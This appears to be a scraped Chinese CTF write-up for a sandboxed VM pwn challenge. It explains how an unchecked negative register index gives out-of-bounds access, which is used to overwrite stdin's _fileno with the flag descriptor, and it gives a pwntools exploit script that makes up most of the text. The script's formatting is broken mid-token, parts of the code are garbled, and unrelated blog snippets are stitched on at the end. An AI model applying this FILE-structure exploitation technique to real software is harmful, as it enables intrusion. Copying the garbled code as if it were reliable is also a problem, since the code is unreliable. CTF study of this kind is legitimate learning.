最開始它獲取了flag檔案的檔案描述符,並把它用dup2
對映到0x233,這樣我們就知道0x233是flag的檔案描述符
然後定義了沙盒規則,不允許execve
和write
,且虛擬機器本身只能輸入0x40道指令
它在處理指令的時候,有使用暫存器中的值作為index來訪問它定的記憶體區的資料的操作,但是它卻沒有對暫存器進行檢查
如果暫存器中是負數,那它就可以訪問到記憶體區之外的資料,導致oob
讀取到_io_2_1_stdin_
的位址
將它加0x6c(即定位到它-4的位置)
將棧位址覆蓋成前兩步修改後的位址
用push
操作把0x233寫到_io_2_1_stdin_
的_fileno
最後的scanf
後的printf
就會把flag列印出來
from pwn import
*context(arch=
'amd64'
,os=
'linux'
,log_level=
'debug'
)sl =
lambda x:io.sendline(x)
s =lambda x:io.send(x)
rn =
lambda x:io.recv(x)
ru =
lambda x:io.recvuntil(x, drop=
true
)r =
lambda
:io.recv(
)it =
lambda
: io.interactive(
)success =
lambda x, y:log.success(x +
' '+
hex(y)
)binary =
'./rhvm.bin'
io = process(binary)
o =ops =
defadd
(a, b, c)
:(a <<16)
+(b <<8)
+ c)
defmovebtora
(a, b)
: add(
0x40
, a, b)
defprints()
: add(
0x60,0
,0)def
rasubrb
(a, b)
: add(
208, a, b)
defrardengyurbm
(a, b)
: add(
0x42
, a, b)
deframdengyurbr
(a, b)
: add(
0x41
, a, b)
deframulrb
(a, b)
: add(
0xc0
, a, b)
defrazuoyirb
(a, b)
: add(
224, a, b)
defraaddrb
(a, b)
: add(
160, a, b)
defpushra
(a):
add(
0x70,0
, a)
movebtora(0,
6)movebtora(1,
4)raaddrb(0,
1)rasubrb(2,
0)movebtora(3,
5)ramulrb(3,
1)rasubrb(4,
3)rardengyurbm(5,
4)movebtora(5,
6)razuoyirb(5,
1)movebtora(7,
8)raaddrb(0,
5)raaddrb(0,
7)raaddrb(0,
1)ramdengyurbr(2,
0)movebtora(3,
1)raaddrb(2,
3)raaddrb(4,
3)rardengyurbm(6,
4)ramdengyurbr(2,
0)movebtora(0,
2)movebtora(2,
3)razuoyirb(0,
1)raaddrb(0,
2)razuoyirb(0,
1)raaddrb(0,
2)pushra(0)
prints(
)io = process(binary)
ru('eip: '
)sl(
'0')
ru('esp: '
)sl(
'0')
ru('give me code length: '
)sl(
str(
len(ops)))
ru('give me code: '
)for i in ops:
sl(str(i)
)it(
)
主要是利用方法對我來說比較新穎,特此記錄一下 第16天 紅帽杯2019 easyRE
復現easyre 看了幾篇writeup我始終沒弄懂是怎麼找到真正的加密演算法的。搜尋字串,看到you found me。交叉引用來到主函式。這串 首先對給出的明文加密,加密後的結果是info the first four chars are flag 然後是十次同乙個函式加密,最後和明文比較,檢視...
洛谷P2425 小紅帽的回文數
傳送門 對於本題 單個資料範圍為10 10顯然不能用intac 所以關於單個資料的變數的型別要為long long型別 不然的話,總會有幾個點會因為溢位而wa 保險起見對於此題也可以把所有變數型別都變為long long型別 不難看出對於乙個大於2的正整數n 在n 1進製下表示為1 1 在 n的進製...
藍橋杯 P2719 搞笑世界盃
落谷網打卡演算法題第二天。很久很久以後,一次世界盃。隨著世界盃小組賽的結束,法國,阿根廷等世界強隊都紛紛被淘汰,讓人心痛不已.於是有人組織了一場搞笑世界盃,將這些被淘汰的強隊重新組織起來和世界盃一同比賽.你和你的朋友欣然去購買球票.不過搞笑世界盃的球票 方式也很特別,它們只準備了兩種球票.a 類票 ...